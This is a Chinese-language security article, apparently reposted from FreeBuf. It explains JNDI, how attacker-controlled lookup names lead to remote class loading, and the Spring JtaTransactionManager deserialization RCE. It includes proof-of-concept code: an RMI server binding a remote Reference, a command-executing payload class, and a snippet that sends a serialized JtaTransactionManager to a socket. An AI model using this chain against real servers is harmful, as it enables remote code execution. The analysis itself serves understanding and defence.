Jndi注入及Spring RCE漏洞分析
Bry5319
8年前
<h2><strong>前言</strong></h2> <p>由于之前一直在外出差,好久没有做研究了,十一期间重新关注了2016 BlackHat上面的议题,其中jndi注入引起了我的关注,本文主要分为以下3个部分,理解jndi、分析jndi注入问题,以及Srping RCE漏洞形成的原因。</p> <h3><strong>文章目录</strong></h3> <p>理解jndi</p> <p>jndi注入产生的原因</p> <p>Spring RCE与Jndi注入之间的关系</p> <p>demo</p> <p>英文好的同学可以去阅读原文。</p> <h2><strong>理解JNDI</strong></h2> <p>Jndi 全称是:Java Naming and Directory Interface,叫做Java命名和目录接口、SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互、如图:</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/06d69f9b0847ef75a681c434e20e3d16.jpg"></p> <h3><strong>Java Naming:</strong></h3> <p>命名服务是一种键值对的绑定,是应用程序可以通过键检索值</p> <h3><strong>Java Directory:</strong></h3> <p>目录服务是命名服务的自然扩展。两者之间的关键差别是目录服务中对象可以有属性(例如,用户有email地址),而命名服务中对象没有属性。因此,在目录服务中,你可以根据属性搜索对象。JNDI允许你访问文件系统中的文件,定位远程RMI注册的对象,访问象LDAP这样的目录服务,定位网络上的EJB组件</p> <p>如图所示的层级结果,通俗理解jndi就是,一组api接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索制定的对象(object),对象可能存储在rmi,ldap,CORBA等等。在jndi中提供了绑定和查找的方法,jndi将name和object绑定在了一起,在这基础上提供了lookup,search功能</p> <p>1、void bind( String name , Object object ) //将名称绑定到对象</p> <p>2、Object lookup( String name ) //通过名字检索执行的对象</p> <p>下面写一个jdni的demo帮助理解:</p> <p>我们定义一个Person类</p> <pre> <code class="language-r"> import java.io.Serializable; import java.rmi.Remote; public class Person implements Remote,Serializable { private static final long serialVersionUID = 1L; private String name; private String password; public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String toString(){ return "name:"+name+" password:"+password; } } </code></pre> <p>这里服务端以rmi为例,</p> <pre> <code class="language-r"> package com.jndi.demo; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.spi.NamingManager; public class Test { public static void initPerson() throws Exception{ //配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常 LocateRegistry.createRegistry(3001); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:3001"); ////初始化 InitialContext ctx = new InitialContext(); //实例化person对象 Person p = new Person(); p.setName("hello"); p.setPassword("jndi"); //person对象绑定到JNDI服务中,JNDI的名字叫做:person。 ctx.bind("person", p); ctx.close(); } public static void findPerson() throws Exception{ //因为前面已经将JNDI工厂和JNDI的url和端口已经添加到System对象中,这里就不用在绑定了 InitialContext ctx = new InitialContext(); //通过lookup查找person对象 Person person = (Person) ctx.lookup("person"); //打印出这个对象 System.out.println(person.toString()); ctx.close(); } public static void main(String[] args) throws Exception { initPerson(); findPerson(); } }</code></pre> <p>运行结果如图:</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/e30b4688a78a65392cc021fae26c66a1.jpg"></p> <p>使用debug更直观的描述整个流程:</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/144d1dd88a80df756d2fd4e0379ff075.jpg"></p> <p style="text-align:center"><img src="https://simg.open-open.com/show/2d0a534de835c636159abef242fce3ea.jpg"></p> <p>从上图可以清楚的看到,在initPerson方法中,注册了rmi服务并绑定了端口,给p对象命名为person,在findPerson方法中查找被命名为person的对象,然后通过。最终输出了hello jndi。</p> <h3><strong>Jndi Naming Reference:</strong></h3> <p>java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,就可以理解jndi注入产生的原因了。</p> <h2><strong>Jndi注入产生的原因</strong></h2> <h3><strong>Applications should not perform JNDI lookups with untrusted data</strong></h3> <p>jndi注入产生的原因可以归结到以下4点</p> <p>1、lookup参数可控。</p> <p>2、InitialContext类及他的子类的lookup方法允许动态协议转换</p> <p>3、lookup查找的对象是Reference类型及其子类</p> <p>4、当远程调用类的时候默认会在rmi服务器中的classpath中查找,如果不存在就会去url地址去加载类。如果都加载不到就会失败。</p> <p>我们跟进lookup函数:</p> <pre> <code class="language-r"> public Object lookup(String name) throws NamingException { return getURLOrDefaultInitCtx(name).lookup(name); }</code></pre> <p>继续跟进getURLOrDefaultInitCtx函数,</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/01672bc95adcf86b03823c7aa3bfa907.jpg"></p> <p>发现getURLOrDefaultInitCtx会返回两种情况,</p> <p>第一种getDefaultInit(),</p> <p>第二种是getUrlContext(scheme,myPorps)。</p> <p>这说明即使 Context.PROVIDER_URL参数被初为rmi://127.0.0.1:1099/foo,但是如果lookup的参数可控,那我们就可以重写url地址,使url地址指向我们的服务器。例如:</p> <pre> <code class="language-r"> // Create the initial context Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://secure-server:1099"); Context ctx = new InitialContext(env); // Look up in the local RMI registry Object local_obj = ctx.lookup( ); </code></pre> <p>就可以实现远程加载恶意的对象,实现远程代码执行。</p> <p>我们发现存在3种方法,可以通过jndi注入导致远程代码执行:</p> <p>rmi、通过jndi reference远程调用object方法。</p> <p>CORBA IOR 远程获取实现类</p> <p>LDAP 通过序列化对象,JNDI Referene,ldap地址</p> <p>demo2 jndi注入例子:</p> <p>Server端:</p> <p>import com.sun.jndi.rmi.registry.ReferenceWrapper;</p> <p>import javax.naming.Reference;</p> <p>import java.rmi.registry.Registry;</p> <p>import java.rmi.registry.LocateRegistry;</p> <p>public class SERVER {</p> <p>public static void main(String args[]) throws Exception {</p> <p>Registry registry = LocateRegistry.createRegistry(1099);</p> <p>Reference aa = new Reference("ExecObj", "ExecObj", " <a href="/misc/goto?guid=4959720071504751219" rel="nofollow,noindex">http://127.0.0.1:8081/</a> ");</p> <p>ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);</p> <p>System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");</p> <p>registry.bind("aa", refObjWrapper);</p> <p>}</p> <p>}</p> <p>Client端:</p> <pre> <code class="language-r">import javax.naming.Context; import javax.naming.InitialContext; public class CLIENT { public static void main(String[] args) throws Exception { String uri = "rmi://127.0.0.1:1099/aa"; Context ctx = new InitialContext(); ctx.lookup(uri); } }</code></pre> <p>ExecObj:</p> <pre> <code class="language-r"> package com.jndi.cn; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.Reader; import javax.print.attribute.standard.PrinterMessageFromOperator; public class ExecTest { public static void main(String[] args) throws IOException,InterruptedException{ String cmd="whoami"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); } }</code></pre> <p>首先javac ExecObj、将生成的class文件放在web服务器目录下。然后依次执行server端,client端</p> <p>运行结果如图:</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/370c5bb6d9499c7a0d762df218af9085.jpg"></p> <p style="text-align:center"><img src="https://simg.open-open.com/show/2426a0150fb5eb76a4796b280848bd10.jpg"></p> <h2><strong>Spring RCE</strong></h2> <p>Spring RCE形成的主要原因是 Spring框架的spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager 存在一个readObject方法。当执行对象反序列化的时候,会执行lookup操作,导致了jndi注入,可以导致远程代码执行问题,具体原因在这里不分析了,在iswin师傅的博文里有详细的分析。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/d5f23540af357c8db2285ad670335830.jpg"></p> <p style="text-align:center"><img src="https://simg.open-open.com/show/116f4b8b1d867995434e0046005c3504.jpg"></p> <p>到这里漏洞的成因就比较清晰了,这里的userTransactionName变量我们可以控制,通过setter方法可以初始化该变量,这里userTransactionName可以是rmi的调用地址(例如,userTransactionName=”rmi://127.0.0.1:1999/Object”),只要控制userTransactionName变量,就可以触发JNDI的RCE,继续跟进lookupUserTransaction方法</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/edbb67466d2eaae3156665f2f3908ecf.jpg"></p> <p>导致jndi的RCE导致了Spring Framework反序列化的产生</p> <p>关键代码:</p> <pre> <code class="language-r">String jndiAddress = "rmi://127.0.0.1:1999/Object"; JtaTransactionManager object = new JtaTransactionManager(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); objectOutputStream.writeObject(object); objectOutputStream.flush();</code></pre> <p>当我们把这段序列化的对象发送给服务端的时候,就会触发jndi rce漏洞。</p> <p style="text-align:center"><img src="https://simg.open-open.com/show/1e552770ca7fcb129494d7469be87f2e.jpg"></p> <p> </p> <p>来自:http://www.freebuf.com/vuls/115849.html</p> <p> </p>